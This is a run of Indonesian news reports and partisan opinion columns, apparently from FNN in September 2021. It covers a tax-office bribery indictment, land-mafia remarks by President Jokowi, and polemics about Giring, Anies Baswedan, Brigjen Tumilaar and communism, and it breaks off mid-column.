Jakarta, FNN - Dua mantan pejabat Direktorat Jenderal Pajak Kementerian Keuangan, yaitu Angin Prayitno Aji dan Dadan Ramdani didakwa menerima suap Rp 15 miliar dan 4 juta dolar Singapura (sekitar Rp 42,17 miliar). Sehingga totalnya mencapai Rp 57 miliar agar merekayasa hasil penghitungan pajak. "Terdakwa I Angin Prayitno Aji selaku Direktur Pemeriksaan dan Penagihan Direktorat Jenderal Pajak 2016-2019 dan terdakwa II Dadan Ramdani selaku Kepala Sub Direktorat Kerja Sama dan Dukungan Pemeriksaan Direktorat Jenderal Pajak 2016-2019 menerima uang seluruhnya sebesar Rp 15 miliar dan 4 juta dolar Singapura (sekitar Rp 42,17 miliar)," kata Jaksa Penuntut Umum Nur Hari Arhadi di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu, 22 September 2021. Pemberian suap itu berasal dari dua orang konsultan pajak PT Gunung Madu Plantations yaitu Aulia Imran Magribi dan Ryan Ahmad Ronas; kuasa Bank Pan Indonesia (Panin) Veronika Lindawati; dan konsultan pajak PT Jhonlin Baratama Agus Susetyo. "Agar terdakwa I Anging Prayitno Aji, terdakwa II Dadan Ramdani beserta Wawan Ridwan, Alfred Simanjuntak, Yulmanizar dan Febrian selaku Tim Pemeriksa Pajak Direktorat Pemeriksaan dan Penagihan Direktorat Jenderal Pajak merekayasa hasil penghitungan pajak pada wajib pajak PT Gunung Madu Plantation (GMP) untuk tahun pajak 2016, wajib pajak PT Bank Pan Indonesia (Panin),Tbk tahun pajak 2016, dan wajib pajak PT Jhonlin Baratama (JB) untuk tahun pajak 2016 dan 2017," tambah jaksa, sebagaimana dikutip dari Antara. Dalam dakwaan disebutkan Angin Prayitno membuat kebijakan untuk mendapatkan keuntungan dari pemeriksaan kepada wajib pajak kemudian memberitahukan kepada para "supervisor" Tim Pemeriksa Pajak agar pada saat melaporkan hasil pemeriksaan sekaligus melaporkan "fee" untuk pejabat struktural (Direktur dan Kasubdit) serta untuk jatah Tim Pemeriksa Pajak dimana pembagiannya adalah 50 persen untuk pejabat struktural yang terdiri atas Direktur dan Kepala Sub Direktorat sedangkan 50 persen untuk jatah tim pemeriksa. Pertama, penerimaan terkait pemeriksaan pajak PT Gunung Madu Plantations (GMP). Awalnya Angin mengarahkan kepada seluruh Kabudit di Direktorat Pemeriksaan dan Penagihan untuk mencari wajib pajak yang potensial dan bagus. Menindaklanjuti arahan tersebut, pada Oktober 2018, Yulmanizar, Febrian, Alfred Simanjuntak, dan Wawan Ridwan membuat analisis risiko wajib pajak PT GMP tahun pajak 2016 dengan maksud untuk mencari potensi pajak dari wajib pajak sekaligus mencari keuntungan pribadi. Dari analisis risiko didapat potensi pajak tahun 2016 PT GMP adalah sebesar Rp5.059.683.828. Lalu Angin menerbitkan surat perintah pemeriksaan untuk PT GMP dan menunjuk Wawan Ridwan sebagai "supervisor", Alfred Simanjuntak sebagai ketua tim, Yulmanizar serta Febrian sebagai anggota pemeriksa pajak. Pada saat pemeriksaan 6 November 2017 di kantor PT GMP di Lampung Tengah, tim pemeriksa menemukan catatan di ruang kerja Finance Manager PT GMP Teh Cho Pong yang menginstruksikan untuk dilakukan rekayasa "invoice". Pada Desember 2017, Yulmanizar selaku "person in charge" (PIC) bertemu dengan konsultan pajak dari Foresight Consultant Ryan Ahmad Ronas dan Aulia Imran Magribi. Dalam pertemuan tersebut Ryan memohon bantuan untuk merekayasa nilai pajak yang akan diterbitkan oleh Dirjen Pajak atas pemeriksaan PT GMP. "Selain itu Ryan Ahmad Ronas juga akan memberikan uang sebesar Rp 30 miliar untuk pembayaran pajak PT GMP beserta fee pemeriksa pajak dan pejabat struktural (all in) yang membantu proses pengurusan tersebut," tambah jaksa. Setelah pertemuan itu, lalu Yulmanizar dan Febrian menghitung nilai pajak PT GMP pada tahun pajak 2016 dan diperoleh Rp 19.821.605.943,51 sedangkan untuk "fee" pemeriksa dan struktural pajak sebesar Rp 10 miliar. Namun Angin meminta "fee" lebih dari Rp 10 miliar sehingga Yulmanizar menyampaikan ke Ryan dan Aulia "fee" yang disetujui sebesar Rp 15 miliar dan Wawan Ridwan menyampaikan "Pak Dir setuju" sehingga pada 18 Desember 2017 ditandatangani laporan hasil pemeriksaan PT GMP sebesar Rp 19.821.605.943,51. Untuk merealisasikan kesepakatan, GM PT GMP Lim Poh Ching lalu memerintahkan anak buahnya mengeluarkan cek perusahaan pada 22 Januari 2018 sebesar Rp 15 miliar dengan dicatat sebagai "form" bantuan sosial padahal bantuan tersebut fiktif. Cek dicairkan pada 23 Januari 2018 dan selanjutnya Asisten Service Manager PT GMP Iwan Kurniawan menyerahkan uang itu kepada Ryan dan Aulia pada hari yang sama. Uang sebesar Rp 15 miliar lalu diserahkan oleh Aulia pada Yulmaniar di Hotel Kartika Chandra pada Januari 2018. Wawan Ridwan atas perintah Angin lalu menukarkan uang tersebut dalam bentuk pecahan dolar Singapura. Setelah uang ditukar dalam mata uang dolar Singapura, sebesar 750 ribu dolar Singapura atau setara Rp 7,5 miliar dibagi rata Wawan Ridwan, Alfred Simmanjuntak, Yulmanizar, dan Febrian sementara pada Februari 2018, diserahkan 750 ribu dolar Singapura kepada Dadan Ramdani yang merupakan bagian "fee" Angin dan Dadan. Kedua, penerimaan uang terkait pemeriksaan pajak PT Bank Pan Indonesia, Tbk (Bank Panin). Awalnya pada Agustus 2018, Yulmanizar bersama tim pemeriksa IV memilih wajib pajak potensial, yaitu Bank Panin dan mengalisis risiko yang ditemukan potensi tahun pajak 2016 sebesar Rp 81.653.154.805. Untuk menegosiasikan penurunan kewajiban pajak Bank Panin, maka bank tersebut menugaskan Veronika Lindawati sebagai orang kepercayaan Mu'min Ali Gunawan selaku pemilik Bank Panin. Veronika lalu meminta agar kewajiban pajak Bank Panin di angka sekitar Rp 300 miliar serta menyampaikan akan memberikan "fee" sebesar Rp 25 miliar. Wawan Ridwan lalu memerintahkan Yulmanizar dan Febrian membuat perhitungan sesuai permintan Veronika dan diperoleh angka Rp 303.615.632.843, lalu Angin Prayitno menyetujuinya. Pada 15 Oktober 2018, di kantor Ditjen Pajak, Veronika menyerahkan uang 500 ribu dolar Singapura atau setara Rp 5 miliar dari komitmen Rp 25 miliar kepada Wawan Ridwan untuk diberikan kepada Angin. Meski "fee" kurang tapi Angin tidak mempermasalahkannya sehingga Wawan menyerahkan uang Rp 5 miliar itu kepada Angin melalui Dadan. Ketiga, penerimaan terkait pemeriksaan pajak PT Jhonlin Baratama. Terkait perusahaan ini, Wawan dan tim pemeriksa membuat kertas kerja analisis tahun pajak 2016 dan 2017 dan disetujui potensi pajak 2016 sebesar Rp 303.615.632.843 dan potensi pajak 2017 sebesar Rp 19.049.387.750. PT Johnlin Baratama dijadwalkan untuk diperiksa pada 26 Maret 2019 di KPP Pratama Batulicin, Kalimantan Selatan. Perusahaan itu lalu menunjuk Agus Susetyo sebagai konsultan pajak. Saat transit, bertempat di Coffee Shop Bandara Sultan Hasanuddin Makassar Agus Susetyo menyampaikan kepada Yulmaniar dan tim pemeriksa agar Surat Ketetapan Pajak (SKP) Kurang Bayar PT Jhonlin Baratama tahun 2016 dan 2017 direkayasa dan dibuat pada kisaran Rp 10 miliar dengan menjanjikan "fee" sebesar Rp 50 miliar untuk pemeriksa pajak dan pejabat struktural. Wawan lalu melaporkan permintaan Agus ke Dadan dan Dadan menyetujuinya. Selanjutnya Yulmanizar meminta Febrian membuat penghitungan Laporan Hasil Pemeriksaan sehingga didapat angka kurang bayar pajak PT Jhonlin Baratama tahun 2016 sebesar Rp 70.682.283.224 sedangkan tahun 2017 sebesar Rp 59.992.548.069 sehingga total kurang pajaknya menjadi Rp 10.689.735.155, padahal seharusnya Rp 63.667.534.805. Laporan itu lalu disetujui Dadan. Meski sudah tidak menjabat sebagai direktur P2, Angin tetap menanyakan realisasi "fee" PT Jhonlin Baratama. Pada Juli-September 2019, Agus Susetyo secara bertahap menyerahkan 3,5 juta dolar Singapura atau setara Rp 35 miliar kepada Yulmanizar. Dari Rp35 miliar tersebut, Angin dan Dadan menerima 1,75 juta dolar Singapura atau Rp 17,5 miliar yang diserahkan Wawan kepada Dadan, sedangkan sisanya diterima tim pemeriksa, yaitu Wawan Ridwan, Alfred Simanjuntak, Yulmanizar, dan Febrian masing-masing sebesar 437.500 dolar Singapura sedangkan 500 ribu dolar Singapura atau setara Rp 5 miliar diberikan kepada Agus Susetyo. Atas perbuatannya, Angin dan Dadan didakwa Pasal 12 huruf a atau Pasal 11 jo Pasal 18 UU Nomor 31 Tahun 1999 sebagaimana diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 jo pasal 65 ayat 1 KUHP. Pasal tersebut mengatur tentang pegawai negeri atau penyelenggara negara yang menerima hadiah atau janji untuk menggerakkan agar melakukan atau tidak melakukan sesuatu dalam jabatannya, yang bertentangan dengan kewajibannya dengan ancaman pidana penjara seumur hidup atau paling singkat 4 tahun dan paling lama 20 tahun dan pidana denda paling sedikit Rp 200 juta dan paling banyak Rp 1 miliar. (MD).

Brigjen Tumilaar “Mempertahankan Bangsa”, di Mana Salahnya?

By Asyari Usman PUSAT Polisi Militer AD (Puspomad) akan, atau telah, memeriksa Brigjen Junior Tumilaar. Tapi, untuk apa dia diperiksa? Pelanggaran pidana apa yang dia lakukan? Apakah inisiatif berkirim ke Kapolri itu pelanggaran berat? Surat pribadi itu hanya berisi permintaan agar Polisi tidak menahan Babinsa yang membela pemilik tanah yang diduga diserobot oleh PT Citraland Manado. Pak Tumilaar hanya mengekspresikan rasa keheranannya mengapa anggota TNI yang membela rakyat –rakyat itu miskin dan buta huruf pula— harus diganjar dengan hukuman? Beliau semata-mata menunjukkan semangat melindungi. Semangat “mempertahankan bangsa”. Apa yang salah dengan tindakan Irdam XIII/Merdeka itu? Di mana salahnya? Mudah-mudahan saja Komandan Puspomad Letjen Chandra Sukotjo hanya berbincang-bincang santai saja dengan Pak Tumilaar. Dan, ada baiknya, Pak Chandra memberikan penghargaan kepada bawahannya yang tidak takut berhadapan dengan konglomerat yang menyakiti rakyat. Sekarang ini, hampir tidak ada yang mau melindungi rakyat. Termasuk, maaf, Presiden Jokowi. Jadi, kalau ada perwira sejati yang bersedia membela rakyat, sangat pantas dia mendapatkan dorongan semangat dan apresiasi. Bukan malah diperiksa dalam konotasi buruk. Perilaku suka-suka hati para konglomerat properti, pertambangan, perkebunan, dll, semakin tidak terkendali. Mereka tidak lagi menghiraukan keluhan rakyat yang lahannya dirampas. Dari waktu ke waktu, kasus penyeroboton tanah selalu saja dimenangkan oleh korporasi. Para pejabat Pemerintah seharusnya melayani keperluan tanah rakyat lebih dulu sebelum berkolaborasi dan bertransaksi dengan pemilik uang besar. Setiap jengkal tanah di republik ini adalah milik seluruh rakyat. Karena itu, pemilikan lahan untuk rakyat harus menjadi prioritas. Ini merupakan amanat konstitusi. Sekali lagi, Brigjen Junior Tumilaar bukan seorang tentara yang bisa diajak bersekutu menindas rakyat. Beliau juga bukan model tentara yang akan diam berpangku tangan ketika melihat ketidakadilan. Semua pihak seharusnyalah melihat bahwa tindakan Pak Tumilaar untuk menegakkan keadilan adalah misi untuk menjaga ketenteraman. Ini juga misi untuk menjaga marwah negara dan pemerintah yang cenderung diinjak-injak oleh pemilik uang besar.[] (Penulis wartawan senior FNN)

Presiden Jokowi Tegaskan Komitmen Untuk Berantas Mafia Tanah

Jakarta, FNN - Presiden Republik Indonesia Joko Widodo (Jokowi) menegaskan bahwa pemerintah akan berkomitmen penuh untuk memberantas mafia-mafia tanah. "Saya kembali mengingatkan bahwa pemerintah berkomitmen penuh dalam memberantas mafia-mafia tanah," kata Presiden Jokowi di Istana Kepresidenan Bogor, Rabu, 22 September 2021. Presiden Jokowi menyampaikan hal tersebut dalam acara "Penyerahan Sertifikat Redistribusi Tanah Objek Reforma Agraria" yang dihadiri Menteri Agraria dan Tata Ruang/Kepala Badan Pertanahan Nasional Sofyan Djalil, Kepala Staf Kepresidenan Moeldoko, para pejabat terkait serta penerima sertifikat. "Kepada jajaran Polri saya minta jangan ragu-ragu mengusut mafia-mafia tanah yang ada, jangan sampai ada aparat penegak hukum yang 'mem-backingi' mafia tanah tersebut," tambah Presiden, sebagaimana dikutip dari Antara. Presiden Jokowi meminta agar Polri dapat memperjuangkan hak masyarakat dan tegakkan hukum secara tegas. "Saya tegaskan kembali komitmen negara untuk betul-betul mengurai konflik agraria yang ada, mewujudkan reformasi agraria bagi masyarakat, memastikan ketersediaan, dan kepastian ruang hidup yang adil bagi rakyat," ungkap Presiden. Menurut Presiden Jokowi, pemerintah tidak hanya menyerahkan sertifikat tanah saja tetapi juga memerintahkan kepada Kementerian Pertanian, Kementerian Desa, Kementerian Koperasi dan UKM serta Kementerian Kelautan dan Perikanan untuk menyalurkan bantuan kepada para penerima sertifikat tanah. "Bantuan berupa modal, bibit, pupuk, dan pelatihan-pelatihan agar tanah yang digarap oleh bapak ibu penerima manfaat reforma agraria lebih produktif. Sekali lagi agar tanah yang ada lebih produktif, memberi hasil untuk membantu kehidupan bapak isu sekalian," tambah Presiden. Sementara untuk para penerima sertifikat tanah, Presiden Jokowi meminta agar mereka menjaga sertifikatnya baik-baik. "Jangan sampai hilang, jangan sampai rusak atau beralih fungsi atau dialihkan kepada orang lain, harus betul-betul dijaga," kata Presiden. Presiden Jokowi dalam acara tersebut menyerahkan sebanyak 124.120 sertifikat tanah hasil redistribusi di 26 provinsi dan 127 kabupaten/kota. Dari jumlah tersebut, ada 5.512 sertifikat yang merupakan hasil penyelesaian konflik agraria di 7 provinsi dan 8 kabupaten/kota yang menjadi prioritas tahun 2021. "Penyerahan sertifikat hari ini sangat istimewa karena sertifikat-sertifikat ini betul-betul tambahan tanah baru untuk rakyat. Ini adalah tanah yang 'fresh' betul yang berasal dari tanah negara hasil penyelesaian konflik, tanah telantar, dan pelepasan kawasan hutan," ungkap Presiden. (MD).

Girang Hati Giring

Oleh Ady Amar *) GIRING Ganesha, Plt Ketum Partai Solidaritas Indonesia (PSI), pastilah girang, senang bukan alang kepalang. Pernyataan yang menghantam Anies Baswedan, Gubernur DKI Jakarta, sebagai pembohong, itu direspons banyak pihak bahkan dengan tanggapan berlebihan. Seolah apa yang disampaikan Giring itu sesuatu. Anies Pembohong menjadi viral dalam hari-hari ini. Bahkan Kompas, media yang biasanya malas menggarap hal ecek-ecek pun sampai perlu membuat video pendek pernyataan Giring itu. Media itu jadi seolah pantas mengangkatnya, sehingga di sebuah grup perkawanan, seorang jurnalis senior menanggapi dengan tanggapan sinis menyayangkan. Begini komennya, Kalau saja Pak Ojong dan Pak Jacob masih ada pasti mereka sedih melihat media yang didirikannya kehilangan bentuk. Giring pastilah Girang, meski ia dihajar sampai pada umpatan tidak mengenakkan. Dari sebutan politisi asal bicara, politisi tanpa ilmu, politisi cari panggung, dan seterusnya. Ia yang coba menyebut Anies Baswedan Pembohong, dan itu pada masalah penanganan pandemi Covid-19, yang disebutnya Anies tidak bekerja sungguh-sungguh. Tambahnya, bahkan itu ditampakkan dengan kengototan Anies yang tetap akan menghelat perhelatan Formula E. Sikap Giring ini tampaknya juga sikap PSI. Menjadi seolah partai yang memang dihadirkan untuk menjegal Anies. Apa saja yang dibuat Anies meskipun baik, tetap dikritisinya habis-habisan. Terkadang publik sulit membedakan antara politisi PSI dan buzzer. Bercampur aduk tidak karuan. Sikap politisi PSI, tidak saja Giring, tapi juga yang lainnya, sepertinya tidak ada beda, semua koor menghantam kebijakan Anies. Ulahnya berjalan dengan metode pokoknya hantam Anies Baswedan. Metode pokoknya, itu memang metode buzzer, dan tampaknya diadopsi politisi PSI. Anies disasar habis-habisan, itu tidak terlepas perhelatan Pilpres 2024, dimana elektabilitas Anies yang selalu ada di tiga besar, bahkan acap di peringkat pertama berbagai lembaga survei politik. Tampaknya itu membuat kecemasan tersendiri buat Giring dan kawan-kawan, lalu perlu dimunculkan ucapan "Anies Pembohong". Itu agar semua pihak mengingat-ingat agar tidak memilih calon presiden pembohong menjadi presiden, tambahnya. Apa yang diucapakan Giring itu pastilah ngasal ngomong. Dan meski apa yang disampaikan pada publik itu tanpa data, buatnya itu hal biasa. Yang penting suarakan Anies dengan hal-hal negatif. Itu sudah cukup, meski konsekuensinya ia akan digebuki pihak lain dengan sebutan politisi dungu dan sebagainya. Giring girang bukan alang kepalang, bahwa apa yang disampaikannya itu mendapat repons banyak pihak, meski harus menampakkan kualitasnya. Giring tampaknya memakai filosofi, menghantam yang di atas berharap ada buah yang jatuh. Dan buah yang jatuh itu meski berupa umpatan padanya, itu tidak masalah. Buatnya itu keuntungan tersendiri, setidaknya namanya jadi dikenal. Giring sebelum terjun ke dunia politik, ia memang cukup dikenal. Itu saat ia tampil sebagai vokalis grup band Nidji. Tapi saat mengadu peruntungan di dunia politik, ia belum punya panggung sendiri. Ia mencoba mencari panggung secara instan dengan cara menggebuki Anies Baswedan. Tampaknya pola yang dimainkan politisi PSI tidak lepas dari itu, berupaya menjauhkan Anies Baswedan dalam kontestasi Pilpres 2024. Meski langkah yang dilakukan politisi PSI itu belum terlihat hasilnya, tetapi pola yang dipakainya akan tetap menghantam Anies terus-menerus. Tidak penting efektif atau sebaliknya. Tampaknya evaluasi kebijakan tidak dikenal di partai satu ini. Kehadiran partai ini seperti partai main-main. Itu bisa diilustrasikan seperti anak-anak kecil di kampung yang melempar pohon mangga tetangga. Berharap ada buah yang jatuh. Terkadang lemparan batu itu mengena pintu atau jendela rumah, dan lalu anak-anak itu cuma bisa lari terbirit-birit tanpa punya rasa tanggung jawab. Tuduhan Giring pada Anies, itu tuduhan tidak main-main. Tuduhan pembohong bagi pemimpin yang bermoral, pastilah aib luar biasa. Tapi tentu tidak bagi pemimpin obral janji, yang mustahil bisa menepati janji. Bahkan jika bisa menepati janji, justru terlihat aneh. Anies tampak membiarkan umpatan Giring itu, bagai membiarkan anak-anak kecil pencuri mangga tadi, yang lari terbirit-birit. Karenanya, Anies tampak tidak menggubrisnya. Pastilah itu buat girang hati Giring. (*) *) Kolumnis

Tenaga Honorer Lepas Kelurahan Cipondoh Arogan Halangi Wartawan

Tangerang, FNN - Tenaga Honorer/Harian Lepas (THL) Kelurahan Cipondoh, Jaya, menghalang-halangi wartawan yang mencoba meminta data jumlah warga yang divaksin, di halaman Masjid Al- Muhajirin, RW 09, Kelurahan Cipondoh, Kecamatan Cipondoh, Kota Tangerang. Bahkan, dengan nada arogan, ia mengaku berasal dari media atau wartawan. Peristiwa tersebut terjadi, Rabu, 22 September 2021. Saat itu, wartawan sedang berusaha mengonfirmasi jumlah vaksin yang disediakan kepada petugas medis. Saat itulah, Jaya datang dan bertanya wartawan dari mana. Dengan arogannya, menyebutkan, “Saya juga dari media (wartawan).” Akan tetapi, ketika wartawan menanyakan dari media mana, malah Jaya menyebutkan abangnya di Indopos. Tidak jelas Indopos yang mana dan sebagai apa. Ketika wartawan menunjukkan pin aparatur sipil negara (ASN) yang dipasang di dada sebelah kirinya, ia kemudian mengatakan lagi, “Abang saya yang di media.” Wartawan pun menanyakan apakah seorang ASN boleh mengaku sebagai wartawan? Atau apakah seorang wartawan boleh mengaku sebagai ASN. Atau wartawan mengaku sebagai polisi, tentara, dokter dan lain-lain? Jaya yang digempur pertanyaan seperti itu malah langsung ngacir menuju sepeda motornya yang diparkir di luar halaman masjid. Tidak lama kemudian, pria yang mengenakan kemeja putih dan rambut agak cepak itu pun pergi meninggalkan lokasi. Informasi yang diperoleh, Jaya adalah THL di Kelurahan Cipondoh. Ternyata di kelurahan pun dia kurang disukai sebagian pegawai. Sebab, suka merasa hebat karena merasa dekat dengan Lurah Cipondoh. Sekretaris Lurah Cipondoh, Firmansyah mengakui Jaya sebagai THL di kantornya. Namun, ia tidak tahu sudah berapa lama. Sebab, ia lebih belakangan bertugas di tempat tersebut ketimbang Jaya. Sedangkan Lurah Cipondoh, Mupti menyampaikan permohonan maaf atas kesalahan anak buahnya. Ia mengaku hampir selalu membawa Jaya berkeliling jika ada kegiatan di luar kantor. “Kebetulan tadi (acara vaksin di Buana Permai, red) saya tidak datang. Ada giat (kegiatan) di luar. Kalau anak buah kurang terkontrol, saya minta maaf,” kata Mupti. Menghalang-halangi wartawan tidak dibenarkan sesuai dengan UU Nomor 40 Tahun 1999 tentang Pers. Pasal 4 ayat 2 berbunyi, “Terhadap pers nasional tidak dikenakan penyensoran, pembredelan atau pelarangan penyiaran.” Kemudian pasal 3 berbunyi, “Untuk menjamin kemerdekaan pers, pers nasional mempunyai hak mencari, memperoleh, dan menyebarluaskan gagasan dan informasi.” Pasal 18 menegaskan tentang tindakan pidana terhadap upaya menghalang-halangi wartawan dalam melaksanakana tugasnya. Pasal 18 (1) berbunyi, “Setiap orang yang secara melawan hukum dengan sengaja melakukan tindakan yang berakibat menghambat atau menghalangi pelaksanaan ketentuan Pasal 4 ayat (2) dan ayat (3) dipidana dengan pidana penjara paling lama 2 (dua) tahun atau denda paling banyak Rp. 500.000.000,00 (Lima ratus juta rupiah). Sementara itu, pelaksanaan vaksin di halaman Masjid Al-Muhajirin berlangsung sejak pagi sampai sekitar pukul 11.00. Jumlah warga yang divaksin sebanyak 207 orang, terdiri dari 126 vaksin Pfizer pertama, dan 81 orang vaksin kedua. Berdasarkan data, masih ada 119 warga yang belum divaksin dari total 326 yang sudah terdaftar. Akan tetapi, menurut seorang tenaga medis yang ikut memaksin, warga cukup antusias, meskipun tidak semua divaksin. “Sudah bagus. Mungkin karena mau ke mal,” katanya bercanda. Pihak Puskesmas Cipondoh menyediakan 360 vaksin. (MD/M.Anwar-Job). **

Giring Bermental Miring, Anies Tetap Humanis

Oleh: Yusuf Blegur Beredar video Giring Plt. Ketua Umum PSI, yang melontarkan narasi kebencian terhadap Gubernur DKI Jakarta. Dalam penayangan video yang diunggah di akun twiter PSI pada Selasa, 21 September 2021, eks penyanyi grup musik Nidji itu mengumbar tuduhan Anies Baswedan sebagai pembohong dan mengkhianati warga Jakarta. Apa yang disampaikan Giring dengan latar PSI yang selama ini selalu stereotif dan sinis terhadap Anies, merupakan cerminan watak politisi amatiran, miskin pengalaman, dan tak ubahnya sekelas buzzer bayaran. Sebagai pimpinan partai politik yang banyak diisi oleh anak muda dengan talenta dan pendidikan tinggi, sosok giring justru gagal mempresentasikan partai dengan basis ilmiah, terukur dan tetap santun. Mungkin perilaku Giring menjadi contoh dan gambaran umum bagaimana dan siapa sesungguhnya PSI itu. Belum lama PSI bersama PDIP menjadi inisiator dan berupaya menggalang dukungan parlemen Jakarta untuk menggunakan hak interpelasi. Alih-alih mendapat dukungan partai lain yang notabene sekoalisi di pusat, hak interpelasi Formula E malah ditolak. Bahkan PSI dan PDIP menuai kritik tajam dari publik se-Indonesia, karena usulan interpelasi dianggap kurang kerjaan dan tendensius terhadap kepemimpinan Anies. Harusnya Giring bisa mengambil pelajaran dan hikmah dari kejadian itu. Bagaimana mungkin tidak disebut subyektif dan penuh ketidaksukaan terhadap gubernur Jakarta. PSI dan PDIP bungkam terhadap karut-marutnya situasi nasional, namun sibuk mencari-cari kesalahan pemimpin ibukota. Pemerintah pusat yang sering membuat kebijakan poltik blunder hingga menyebabkan penderitaan rakyat seantero republik. Kok malah Anies yang diserang? Mana karakter kreatif dan intelektual yang sering dibanggakan PSI?. Giring, caleg PSI yang gagal duduk di kursi Senayan, sepertinya harus lebih bersabar dan banyak belajar politik lagi. Video agitatif dan provokatif yang dibuatnya, justru semakin merendahkan dirinya. Sudah pasti memalukan keseluruhan anggota dan pengurus PSI. "Image building" yang sedang berproses menampilkan PSI sebagai partai anak muda yang cerdas dan pluralis. Seketika dihancurkan oleh kelakuan Giring yang justru seperti preman dan tidak berpendidikan. Lama-kelamaan PSI kelak akan berubah menjadi kumpulan gerombolan haters dan buzzer bayaran, jika perangai politiknya tidak mengedepankan proses dialektika berdasarkan data yang akurat dan argumentasi yang sehat. Atau mungkin sudah menjadi karakter PSI dengan tetap berwatak antagonis sesuai skenario sutradara sekaligus pemilik modal. Akhlak dan Keteladanan Sebagai Kekuatan Buat Anies Baswedan, tidak perlu menanggapi atau tidak penting untuk sekadar sedikit merespons. Hanya akan membuang waktu dan energi yang justru lebih banyak dibutuhkan untuk memajukan kotanya dan membahagiakan warganya. Bagi Giring kekonyolannya hanya untuk 'upgrading' sosoknya, namun bagi Anies malah cenderung menjadi 'downgrade' jika meladeninya. Giring sedang melakukan panjat sosial dan memungut setoran kapital, seperti kalangan milenial menyebutnya. Meski bagi para pemerhati dan khususnya pendukung Anies se-Indonesia, bisa saja memperkarakan unggahan video Giring ke ranah hukum. Sangat memungkinkan Giring dibawa ke tuntutan pidana karena pelanggaran UU-ITE. Selain lebih bermuatan rasa kebencian dan permusuhan serta tanpa basis data yang kuat dan bisa dipertanggungjawabkan. Video Giring harus ada yang tegas menyikapinya, seperti kekuasan pemerintahan pusat yang sering mengambil langkah hukum bagi rakyat yang mengkritik dan sekadar menyampaikan aspirasinya. Akan tetapi, bagi Anies Baswedan seorang gubernur Jakarta yang rasa presiden RI itu, lebih prioritas dan urgen menyelesaikan masalah ibukota. Meski dengan segudang prestasi pembangunan dan sederet penghargaan baik nasional maupun internasional. Anies tetap rendah hati, santun dan menghargai setiap perbedaan. Betapapun gosip, intrik dan fitnah sekalipun harus tetap dihadapi dengan hati yang dingin dan kecerdasan emosional. Framing dan rekayasa intoleran, radikal dan fundamentalis pada figur Anies, pada faktanya berbanding terbalik, Anies mampu mewujudkan dirinya sebagai pemimpin yang moderat, pluralis, inklusif serta menjunjung tinggi kebhinnekaan dan kemajemukan. Anies tetap humanis. Tampaknya untuk Giring dan keseluruhan orang-orang PSI, selayaknya berguru pada figur Anies Baswedan. Bahwasanya setinggi apapun ilmu dan sehebat apapun prestasi. Semua itu tak bernilai dan tak bermakna apapun tanpa akhlak yang baik. Selamat bagi PSI, tetap semangat berburu akhlak bukan materi dan kekuasaan. Penulis, Pegiat Sosial dan Aktifis Yayasan Hunan Luhur Berdikari.

Para Praktisi dan Pakar Harus Peka, Peduli dan Kritis

Oleh Sugengwaras Rakyat agamis dibilang teroris, Cina Komunis dibilang Turis, Rakyat kritis dibilang rasis, penista sadis dibela habis. Inilah fenomena dan indikasi yang ada, yang perlu terus diwaspadai dan disikapi secara berani dan profesional. Bukan berburuk sangka, benci atau memfitnah, bahwa berdasarkan presepsi, prediksi dan analisis realistis logis, tidak menutup kemungkinan fakta yang ada terkait kepemilikan hak tanah rakyat ( Ari Taheru, 67 th, rakyat Sulawesi Utara miskin dan buta huruf ), di tingkat atas direkayasa dan dikondisikan tidak seperti apa adanya dan berstempel sah / legal. Konspirasi beberapa pihak tidak sulit dilaksanakan oleh beberapa badan terkait, yang bisa melemahkan bahkan menyalahkan apa yang dilakukan oleh Brigjen TNI Yunior Tumilaar. Oleh karenanya, demi kebenaran dan keadilan serta tegaknya hukum di Indonesia, dihimbau kepada para pakar dan praktisi bidang ini, segera terjun langsung kelapangan untuk mengantisipasi kemungkinan terburuk yang bisa membalikkan fakta yang ada, yang bisa melemahkan dan mengalahkan pihak pembela perampasan tanah rakyat yang diserobot oleh PT Ciputra Land ( pihak Babinsa ), di Sulawesi Utara ini. Tidak perlu takut atau ragu menghadapi konspirasi badan badan terkait yang memang berpeluang mengatur segalanya dalam upaya memposisikan sebagai pihak yang benar Contoh contoh lain sangat jelas, bagaimana kepolisian dan Komnas HAM RI menangani dan memutuskan kasus HRS maupun kasus penembakan terhadap laskar FPI pengawal HRS di KM 50 jalan tol Jakarta Cikampek Memang, kadang terasa berat menghadapi konspirasi penguasa, namun kita harus yakin bahwa tidak ada perjuangan tanpa pengorbanan dan setiap perjuangan tidak akan sia sia. Manusia berjuang, Allah yang menentukan, namun sekecil apapun kebaikan atau keburukan kelak akan menjadi catatan dan menerima balasannya. Sekali lagi, kita semua terutama para pakar dan praktisi, berlomba lombalah untuk terus berjuang berlandaskan konstitusi, moral, etika, kejujuran dan kebenaran yang adil dan beradab. Di pundak kalian, kami rakyat yang tertindas, terdzolimi dan teraniaya berharap. Semoga Allah swt, TYMK senantiasa memberikan bimbingan dan perlindungan kepada para pejuang dan pembela kejujuran, kebenaran dan keadilan di negeri ini. MERDEKA...!!! *) Purnawirawan TNI AD

Komunis Itu Radikal dan Intoleran

By M Rizal Fadillah TUDUHAN pada umat Islam sebagai radikal dan intoleran jelas salah alamat. Di samping faktanya umat Islam itu ramah dan menjaga akhlaqul karimah juga memiliki tenggang rasa tinggi pada perbedaan. Keberagaman adalah sunnatullah. Agama tidak mengajarkan radikalisme, intoleransi, kekerasan, ataupun perbuatan destruktif. Kelompok radikal dan intoleran itu adalah komunis. Sejarah bangsa telah membuktikan bahwa intoleransi dan radikalisme itu menjadi monopoli aktivis komunis. Bahkan lebih dari itu, ada teror dan pemberontakan. Pembunuhan dan pembantaian. Kasus Muncar Banyuwangi menunjukkan betapa sadisnya PKI dengan Gerwaninya. Menjebak melalui acara pengajian. Banser dan aktivis NU diracun oleh para Gerwani yang menyamar sebagai Fatayat lalu dibantai sadis. Mengubah salawatan menjadi nyanyian genjer-genjer dan membunuh 93 Pemuda Anshor. Berlanjut dengan pembantaian 62 Pemuda Ansor di Cemetuk yang mayatnya dimasukan ke dalam tiga "Lubang Buaya". Peristiwa di atas didahului oleh penculikan, penyiksaan, dan pembunuhan Tujuh Pahlawan Revolusi pada 30 September 1965 di Jakarta. Peristiwa Lubang Buaya ini menggambarkan karakter fitnah, radikal, dan biadabnya para aktivis komunis di Indonesia. Perwira tinggi TNI menjadi target. Ditarik mundur ke belakang maka Madiun menjadi saksi sejarah kebrutalan komunis di bawah pimpinan Musso. Kejadian tahun 1948 itu membuat miris karena dengan hanya menguasai 13 hari Madiun, PKI/FDR telah 